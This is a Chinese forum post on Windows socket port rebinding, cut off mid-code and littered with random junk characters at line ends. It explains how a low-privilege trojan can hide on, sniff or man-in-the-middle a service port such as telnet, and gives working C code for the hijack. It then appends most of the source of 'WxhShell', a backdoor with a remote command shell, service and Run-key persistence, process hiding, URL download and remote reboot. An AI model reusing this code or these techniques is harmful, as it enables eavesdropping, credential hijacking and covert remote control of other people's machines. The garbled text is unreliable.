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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: dznHR6x  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u; \:#721  
mX3~rK>@~  
  saddr.sin_family = AF_INET; vp@%wxl!:  
@RGVcfCG)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !Z[dK{ f"  
eIBHAdU+g/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .|[ZEXq  
=r=[e}&9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Pz#D9.D0  
{j i;~9'Q  
  这意味着什么?意味着可以进行如下的攻击: c6FKpdn%  
"~j SG7h  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 c`}-i6  
ivg:`$a[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) v'nM=  
NBHS   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $Y.Z>I;  
7OY<*ny  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  iU3)4(R  
T&Z%=L_Q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -6a4H?L  
b* Ny  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  $0>>Z  
eQ _dO]Q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2<HG=iSf  
Z0*Lm+d9z  
  #include y57]q#k  
  #include H }w"4s  
  #include ReE-I/n8f  
  #include    zK`fX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4np,"^c  
  int main() #RAez:BI  
  { V^fSrW]  
  WORD wVersionRequested; 7KIOI,qb6  
  DWORD ret; L".Qf|b*  
  WSADATA wsaData; td!WgL,m  
  BOOL val; V ;Kzh$^rk  
  SOCKADDR_IN saddr; )D\cm7WX^[  
  SOCKADDR_IN scaddr; x/D"a|  
  int err; dYEF,\Z'  
  SOCKET s; <Wc98m  
  SOCKET sc; k$ k /U  
  int caddsize; 4/YEkD  
  HANDLE mt; d~+8ui{-U  
  DWORD tid;   8m,PsUp7  
  wVersionRequested = MAKEWORD( 2, 2 ); H.`>t  
  err = WSAStartup( wVersionRequested, &wsaData ); HDqPqrWm  
  if ( err != 0 ) { LDlj4>%pW^  
  printf("error!WSAStartup failed!\n"); VK\ Bjru9  
  return -1; i'&KoR ?  
  } bB^% O^:  
  saddr.sin_family = AF_INET; .w5#V|   
   z d 9Gi5&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 o=i)s2   
+E8 \g  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )6mx\t  
  saddr.sin_port = htons(23); n';"c;Ye)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6J. [9#  
  { AQkH3p/W  
  printf("error!socket failed!\n"); {!5"Y(>X  
  return -1; mD }&X7  
  } iC-WQkQY  
  val = TRUE; N<c98  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  E~oQ%X~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Mda~@)7$  
  { MQ;c'?!5[!  
  printf("error!setsockopt failed!\n");  +C3IP  
  return -1; VB6EM|bphl  
  } `:WVp~fn  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; yNp l0 d  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3/a$oO  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Co6ghH7T  
weQC9e~d{-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) I)$`@.  
  { e='bc7$  
  ret=GetLastError(); XVXiiQ^  
  printf("error!bind failed!\n"); BLx tS  
  return -1; gQy {OU  
  } x`N _tWZ  
  listen(s,2); jR~2mf!h*e  
  while(1) S"?py=7  
  { QuFcc}{<]  
  caddsize = sizeof(scaddr); 'G1~\CT  
  //接受连接请求 nLK%5C  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); jxA`RSY  
  if(sc!=INVALID_SOCKET) O8BxXa@5  
  { :x e/7-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); & sbA:xZBA  
  if(mt==NULL) (lv|-Phc.  
  { RFF&-M]  
  printf("Thread Creat Failed!\n"); `P;fD/I  
  break; i<<NKv8;  
  } B"N8NVn  
  } f:5(M@iO.  
  CloseHandle(mt); O[+![[N2  
  } KQsS)ju  
  closesocket(s); 9( ;lcOz  
  WSACleanup(); 4ujw/`:/m  
  return 0; hDc, #~!  
  }   C~o6]'+F_  
  DWORD WINAPI ClientThread(LPVOID lpParam) y- S]\tu  
  { /BC(O[P  
  SOCKET ss = (SOCKET)lpParam; ;u;YfOr  
  SOCKET sc; >L$g ;(g  
  unsigned char buf[4096]; n"B"Aysz  
  SOCKADDR_IN saddr; J;+A G^U<  
  long num; TbyQ'MbUv  
  DWORD val; 5=CLR  
  DWORD ret; nA8]/r1k  
  //如果是隐藏端口应用的话,可以在此处加一些判断 YpQ/ )fSEV  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   zjd]65P  
  saddr.sin_family = AF_INET; =IBdnEz:M  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <d$kGCz  
  saddr.sin_port = htons(23); KA:>7-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >@^z?nb  
  { r1:S8RT;H5  
  printf("error!socket failed!\n"); S!gV\gEbDj  
  return -1; ]/;0  
  } <qH>[ \  
  val = 100; \ B 0xL,o<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K~$o2a e  
  { )fSQTbB;0  
  ret = GetLastError(); -L7Q,"a$  
  return -1; E"k\eZns&  
  } C:/ca)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Zab5"JR  
  { Nt42v  
  ret = GetLastError(); w91gM*A  
  return -1; s+?r4t3H!  
  } kJIKULf  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) k)\Yl`4au  
  { p1t9s N,  
  printf("error!socket connect failed!\n"); N>;"r]Rl"  
  closesocket(sc); u->UV:u  
  closesocket(ss); PQAN,d  
  return -1; C`OdMM>D  
  } TL@_m^SM  
  while(1) K1RTAFf /  
  { 2!/*I:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 b\~rL,7(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 qA:CV(Z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 . (*V|&n  
  num = recv(ss,buf,4096,0); K V ^ `  
  if(num>0) 2&fIF}vk>m  
  send(sc,buf,num,0); vW6Pf^yJ  
  else if(num==0) Vf6lu)Z c1  
  break; ehj&A+Ip  
  num = recv(sc,buf,4096,0); "PGEiLY  
  if(num>0) ==I:>+_ ^|  
  send(ss,buf,num,0); DV +DJcF  
  else if(num==0) #9z\Wblr  
  break; u#XNl":x  
  } V ea>T^  
  closesocket(ss); A"`6 2  
  closesocket(sc); h$|K vS  
  return 0 ; xin<.)!E  
  } WQ4:='(  
4A0R07"  
Z[KXDQn8  
========================================================== B&|F9Z6D  
y|V/xm+Fp  
下边附上一个代码,,WXhSHELL )ARfI)<1b  
l i}4d+  
========================================================== {/12.y=)~  
<jU[&~p  
#include "stdafx.h" ch,<4E/c[R  
c:"*MM RC  
#include <stdio.h> l){l*~5zl2  
#include <string.h> Q)yhpwrX  
#include <windows.h> mJ0nyjX^  
#include <winsock2.h> ?1}1uJMj-  
#include <winsvc.h> OtJYr1:y_  
#include <urlmon.h> pgT{#[=>  
k7)H %31;  
#pragma comment (lib, "Ws2_32.lib") R{)Sv| +`  
#pragma comment (lib, "urlmon.lib") Y cE:KRy  
c ;`  
#define MAX_USER   100 // 最大客户端连接数 7 }(LO^,A  
#define BUF_SOCK   200 // sock buffer > taT;[Oa  
#define KEY_BUFF   255 // 输入 buffer 4 W}8?&T  
4%2QF F @  
#define REBOOT     0   // 重启 t`03$&Cx7  
#define SHUTDOWN   1   // 关机 rs2~spN;h  
%stZ'IX  
#define DEF_PORT   5000 // 监听端口 3nf+ imAF  
VztalwI  
#define REG_LEN     16   // 注册表键长度 6N\~0d>5m  
#define SVC_LEN     80   // NT服务名长度 1eI >Yy>}  
*\m 53mb  
// 从dll定义API OM{-^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); By6C+)up  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iyrUY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); orf21N+[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `ysPEwA|  
y!GjC]/  
// wxhshell配置信息 \\ M2_mT  
struct WSCFG { Q?n} ~(% &  
  int ws_port;         // 监听端口 -cNh5~p=  
  char ws_passstr[REG_LEN]; // 口令 S(mJ;C  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ta?#o  
  char ws_regname[REG_LEN]; // 注册表键名 5+:b #B  
  char ws_svcname[REG_LEN]; // 服务名 >[,Rt"[V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1 9a"@WB@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j(6:   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +pc_KR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wA) NB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ps Qq ^/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^CI.F.#X|  
-vwkvNn8  
}; g1muT.W]S  
r Y|'<$wvg  
// default Wxhshell configuration No<2+E!  
struct WSCFG wscfg={DEF_PORT, 4fw>(d(2  
    "xuhuanlingzhe", E*>tFw&[  
    1, D<5)i)J"  
    "Wxhshell", h=YY> x  
    "Wxhshell", i68'|4o  
            "WxhShell Service", $4'I 3{$  
    "Wrsky Windows CmdShell Service", :2Qm*Y&_$V  
    "Please Input Your Password: ", c>{X( Z=2  
  1, )y'`C@ijI  
  "http://www.wrsky.com/wxhshell.exe", )<9g+^  
  "Wxhshell.exe" Tz+2g&+  
    }; o1MI&}r  
b* qkox;j  
// 消息定义模块 %~J90a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g$kK)z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~el#pf~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wKe^5|Rr  
char *msg_ws_ext="\n\rExit."; I:u xj%  
char *msg_ws_end="\n\rQuit."; F}<&@7kF  
char *msg_ws_boot="\n\rReboot..."; D}px=?  
char *msg_ws_poff="\n\rShutdown..."; n99:2r_  
char *msg_ws_down="\n\rSave to "; yEtI5Qk  
r ^_8y8&l  
char *msg_ws_err="\n\rErr!"; $$<9tqA  
char *msg_ws_ok="\n\rOK!"; SG |!wH^  
t*zve,?}  
char ExeFile[MAX_PATH]; _s (0P*  
int nUser = 0; : RnjcnR  
HANDLE handles[MAX_USER]; 7xB#)o53  
int OsIsNt; QE)I7(  
IJxdbuKg  
SERVICE_STATUS       serviceStatus; =t<!W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -aLBj?N c[  
B~-VGT 2o  
// 函数声明 ch1EF/"  
int Install(void); ./jkY7 k  
int Uninstall(void); +che Lc  
int DownloadFile(char *sURL, SOCKET wsh); ~xGWL%og  
int Boot(int flag); )NRY9\H  
void HideProc(void); *:\-:*  
int GetOsVer(void); 1%^U=[#2`  
int Wxhshell(SOCKET wsl); h eZJ(mR  
void TalkWithClient(void *cs); KCq qwGM  
int CmdShell(SOCKET sock); ,;;M69c[ x  
int StartFromService(void); 7 ;|jq39  
int StartWxhshell(LPSTR lpCmdLine); %Ub"V\1  
C"k8 M\RW?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k7>*fQ89@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); JxiLjvIq  
.hn{m9|U  
// 数据结构和表定义 pnca+d  
SERVICE_TABLE_ENTRY DispatchTable[] = n7 4?W  
{ muT+H(Zp}  
{wscfg.ws_svcname, NTServiceMain}, jr~ +}|@{  
{NULL, NULL} UY*Hc  
}; 2$yKa5SaX  
i|Lir{vW  
// 自我安装 i' %V}2  
int Install(void) :IV4]`  
{ {a `kPfP  
  char svExeFile[MAX_PATH]; :m_0WT  
  HKEY key; 6S])IA&VJ  
  strcpy(svExeFile,ExeFile); 5ap}(bO  
Y~dRvt0_w  
// 如果是win9x系统,修改注册表设为自启动 3%{XJV   
if(!OsIsNt) { |Q`}a %  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }C"EkT!F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 60[f- 0X  
  RegCloseKey(key); PDREwBX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {F6hx9?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TGdD7n&Ehh  
  RegCloseKey(key); (NOAHV0H  
  return 0; (-(,~E  
    } W:4]-i?2  
  } +>KWY PH  
} ScQJsFE6  
else { z(g4D!  
S"CsY2;  
// 如果是NT以上系统,安装为系统服务 1m|Oi%i4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0fxA*]h  
if (schSCManager!=0)  ?Vbe  
{ a ^iefwsNc  
  SC_HANDLE schService = CreateService yrR<F5xge  
  ( RQ y|W}d_  
  schSCManager, Ik>sd@X*|  
  wscfg.ws_svcname, %((F} 9_6  
  wscfg.ws_svcdisp, ppR~e*rv-  
  SERVICE_ALL_ACCESS, L7G':oA_`p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .MhZ=sn  
  SERVICE_AUTO_START, l@q.4hT  
  SERVICE_ERROR_NORMAL, <'v?WV_  
  svExeFile, h\Op|#gIT  
  NULL, F:n(yXA  
  NULL, ']u w,b  
  NULL, *ls}r5k2Y  
  NULL, } !pC}m  
  NULL hx+a.N  
  ); zc'!a"  
  if (schService!=0) mJc'oG-  
  { 2[[ pd&MJZ  
  CloseServiceHandle(schService); $EN A$  
  CloseServiceHandle(schSCManager); F&lWO!4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q !7z4Cn  
  strcat(svExeFile,wscfg.ws_svcname);  6?+bi\6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LV0g *ng  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZWG$MFEjl  
  RegCloseKey(key); ]d9;YVAU  
  return 0; lD6hL8[  
    } pJ6bX4QnDX  
  } WU Q2[)<  
  CloseServiceHandle(schSCManager); kR%CSLOVy  
} AQ32rJT8c`  
} 1jh^-d5  
NVS U)#  
return 1; ~kS~v  
} r5(OH3  
`dMOBYV  
// 自我卸载 "@ Zy+zLU  
int Uninstall(void) }pu2/44=W  
{ 4Yt:PN2  
  HKEY key; ',z'.t  
&~6Z)}  
if(!OsIsNt) { 1MRt_*N4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xh#ef=Bw  
  RegDeleteValue(key,wscfg.ws_regname); JZD27[b  
  RegCloseKey(key); uDafPTF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FGr0W|?v  
  RegDeleteValue(key,wscfg.ws_regname); Fr,>|  
  RegCloseKey(key); NJz8ANpro$  
  return 0; =NSLx2:T  
  } Z]1~9:7ap  
} rMTtPuc2  
} Cl\Vk  
else { 4_&$isq  
Fw!5hR`,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *=MC+4E  
if (schSCManager!=0) @=K> uyB  
{ xRv1zHZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {p 9y{$  
  if (schService!=0) #8R\J[9  
  { d}>Nl$  
  if(DeleteService(schService)!=0) { jXGr{n  
  CloseServiceHandle(schService); 5ii`!y  
  CloseServiceHandle(schSCManager); k^C;"awh  
  return 0; .',ikez  
  } Fng":28o  
  CloseServiceHandle(schService); *Mg=IEu-6[  
  } jzI\Q{[m'  
  CloseServiceHandle(schSCManager); ,`P,))  
} X z2IAiAs'  
} f>\?\!  
ro}plK(<WQ  
return 1; >J3N,f  
} ^gw_Up<e6  
>LgV[D#=&o  
// 从指定url下载文件 s)375jCga  
int DownloadFile(char *sURL, SOCKET wsh) 9C-F%te7  
{ "2'nLQ""q  
  HRESULT hr; d7It}7@9  
char seps[]= "/"; $* b>c:  
char *token; OB6I8n XW  
char *file; l#~Sh3@L(  
char myURL[MAX_PATH]; t<|=-  
char myFILE[MAX_PATH]; hAfRHd  
)}~k7bb}Y  
strcpy(myURL,sURL); NX@TWBn%  
  token=strtok(myURL,seps); .m;1V6  
  while(token!=NULL) WQv~<]1J F  
  { @-kzSm  
    file=token; iq5h[  
  token=strtok(NULL,seps); +m:U9K(\h  
  } nvu|V3B0  
5EFow-AH  
GetCurrentDirectory(MAX_PATH,myFILE); mmwwz  
strcat(myFILE, "\\"); !g=,O6  
strcat(myFILE, file); UmiW_JB  
  send(wsh,myFILE,strlen(myFILE),0); ^^jF*)DT@  
send(wsh,"...",3,0); @2CYv>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G/Kz_Y,  
  if(hr==S_OK) | (v/>t  
return 0; ? 4qN>uW=  
else qk~QcVg  
return 1; [jD O8n/  
#ZCgpg$wM  
} 67 7p9{:  
K\IS"b3X  
// 系统电源模块 ,{%/$7)  
int Boot(int flag) x2Y1B  
{ H<}<f:  
  HANDLE hToken; Lt@4F   
  TOKEN_PRIVILEGES tkp; 9w11kut-!  
/'TzHO9_`  
  if(OsIsNt) { WYRTt2(+%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v^[tK2&v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .{5)$w>  
    tkp.PrivilegeCount = 1; wCMsaW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z)P x6\?+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L(`^T`  
if(flag==REBOOT) { Yah3I@xGy  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +]I;C  
  return 0; _#f/VE  
} ^zs CF0  
else { `r_qvrC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iBN,YPo~  
  return 0; 9^v|~f  
} "Z &qOQg%3  
  } ^yy\CtG  
  else { O4 \GL  
if(flag==REBOOT) { .N_0rPO,Kw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *S~. KW[  
  return 0; )\`TZLR  
} ^w8H=UkP!+  
else { u$t*jw\fHg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LP@Q8{'  
  return 0; XXuU@G6Z7$  
} cX7xG U  
} L.U [eH  
0z#+^  
return 1; }= s@y"["  
} ukS@8/eJ  
Bwb3@vNA  
// win9x进程隐藏模块 %L/Wc,My  
void HideProc(void) 3c@Cb`w@  
{ kL*Q})  
S;+bQ.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *N\U{)b\  
  if ( hKernel != NULL ) zclt2?  
  { jGR_EE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wXuHD<<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (W=z0Lqu  
    FreeLibrary(hKernel); OjJlGElw  
  } o6xl,T%  
E|6X.Ny]   
return; fU>"d>6!S  
} $o/ ?R]h  
J:#B,2F+^  
// 获取操作系统版本 oF]0o`U&a  
int GetOsVer(void) E`LML?   
{ KNIYar*3  
  OSVERSIONINFO winfo; vq(@B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A[htG\A` 0  
  GetVersionEx(&winfo); 4K0N$9pd:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P~ffgzP  
  return 1; ^q FFF3<8  
  else [m3G%PO@Da  
  return 0; ^:{l~~9iKp  
} 5y}}?6n+  
.[= 0(NO  
// 客户端句柄模块 -M%n<,XN0  
int Wxhshell(SOCKET wsl) Pk~P  
{ qZKU=HM  
  SOCKET wsh; 'V 1QuSd  
  struct sockaddr_in client; ],qG!,V  
  DWORD myID; ^YenS6`F  
~`T(mh',  
  while(nUser<MAX_USER) ZzzQXfA#  
{ @L{HT8utK3  
  int nSize=sizeof(client); )3h=V^rm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q&`$:h.~  
  if(wsh==INVALID_SOCKET) return 1; LtejLCf/  
"F"G(ba^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [K&O]s<Y  
if(handles[nUser]==0) [g&Q_+,j  
  closesocket(wsh); 8* >6+"w  
else RUX!(Xw  
  nUser++; ;op+~@*!  
  } qO&:J\d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e3) rF5pp  
C*kZ>mbc  
  return 0; ,dzbI{@6  
} 78dmXOZ'_h  
.Pxb9mW  
// 关闭 socket  EvTdwX.H  
void CloseIt(SOCKET wsh) 'PV,c|f>  
{ JS({au  
closesocket(wsh); WQiEQ>6(t(  
nUser--; p7zHP  
ExitThread(0); &Vnet7LfU  
} lG fO  
UupQ* ,dJ  
// 客户端请求句柄 LeQ2,/7l:  
void TalkWithClient(void *cs) !*C^gIQGU  
{ 8 l}tYl`|  
YCw^u  
  SOCKET wsh=(SOCKET)cs; MZv&$KG4m@  
  char pwd[SVC_LEN]; t8]u#bx"?  
  char cmd[KEY_BUFF]; oo- ^BG  
char chr[1]; cO)GiWE  
int i,j;  ?o9l{4~g  
_f^q!tP&d  
  while (nUser < MAX_USER) { WDE_"Mm  
<mrLld#_:C  
if(wscfg.ws_passstr) { 9DKmXL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $ AG.<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gqZ7Pro.  
  //ZeroMemory(pwd,KEY_BUFF); uZd)o AB  
      i=0; ;)"r^M)):  
  while(i<SVC_LEN) { MSRIG-  
-Ah\a0z  
  // 设置超时 3w!oJB  
  fd_set FdRead; \&ERSk2  
  struct timeval TimeOut; GlQ=M ) E  
  FD_ZERO(&FdRead); /\ ~{  
  FD_SET(wsh,&FdRead); |06J4H~k  
  TimeOut.tv_sec=8; zrnc~I+  
  TimeOut.tv_usec=0; ax>en]rNP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]y-r I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cpu+"/\  
>4LX!^V"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I`Rxijz  
  pwd=chr[0]; )bPNL$O  
  if(chr[0]==0xd || chr[0]==0xa) { u`E_Q8  
  pwd=0; Q`r1pO  
  break; O=c&  
  } Axj<e!{D  
  i++; m_\CK5T_  
    } rUx%2O|qu  
3Y=T8Gi#  
  // 如果是非法用户,关闭 socket OjrQ[`(E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y<a/(`  
} ^6J*yV%  
=jg!@H=_i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y*wbFL6`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i,;Q  
}Z0)FU +  
while(1) { -cY /M~  
0A5xG&  
  ZeroMemory(cmd,KEY_BUFF); "=4=Q\0PT  
w$61+KHK  
      // 自动支持客户端 telnet标准    b$rBxe\  
  j=0; zx=A3I%7 A  
  while(j<KEY_BUFF) { 1REq.%/=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >6jy d{  
  cmd[j]=chr[0]; R`TM@aaS:  
  if(chr[0]==0xa || chr[0]==0xd) { _@?]!J[  
  cmd[j]=0; w:z_EV!&  
  break; r'xa' 6&  
  } -#rFCfPy^  
  j++; &W.tjqmw  
    } 1(On.Y=   
&S3szhe  
  // 下载文件 @H7dQ, %  
  if(strstr(cmd,"http://")) { `I6)e{5t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2eyvY|:Q>  
  if(DownloadFile(cmd,wsh)) jWP(7}U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G@,qO#5&  
  else 'y'>0'et  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Eptsxyz{  
  } Kq-y1h]7H  
  else { aASnk2DFd  
pC#Z]_k  
    switch(cmd[0]) { LNg[fF^:  
  }c&Zv#iO6  
  // 帮助 $5il]D`  
  case '?': { }"q1B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0qR;Z{k  
    break; 0FEb[+N  
  } QbOm JQ  
  // 安装 QD\S E  
  case 'i': { RsTpjY*Xb  
    if(Install()) .z+QyNc:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )I!l:!Ij*D  
    else 8MW|CM4Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n-H0cm  
    break; g*Cs /w  
    } m#%5H  
  // 卸载 cC4*4bMm  
  case 'r': { DPy"FQYZb  
    if(Uninstall()) nNBxT+3*i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KwpNS(]I  
    else atl0#FBd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &y Vii^  
    break; ;'=!Fv  
    } K})j5CJ/  
  // 显示 wxhshell 所在路径 {yspNyOx  
  case 'p': { /\#qz.c2K  
    char svExeFile[MAX_PATH]; N;Hf7K  
    strcpy(svExeFile,"\n\r"); 1*>a  
      strcat(svExeFile,ExeFile); S1`+r0Fk~n  
        send(wsh,svExeFile,strlen(svExeFile),0); hQ<"  
    break; w9.r`_-  
    } Zu~ #d)l3N  
  // 重启 puMpUY  
  case 'b': { ';b/D   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (qB$I\  
    if(Boot(REBOOT)) QdDdrR^&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8i X?4qj{P  
    else { PPE:@!u<  
    closesocket(wsh); , JVD ;u  
    ExitThread(0); }\l5|Ft[!  
    } QD"V=}'?  
    break; Q@]#fW\Y  
    } M%9PVePOe  
  // 关机 ,`-6!|:  
  case 'd': { ~rn82an@G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )G*H l^Z;4  
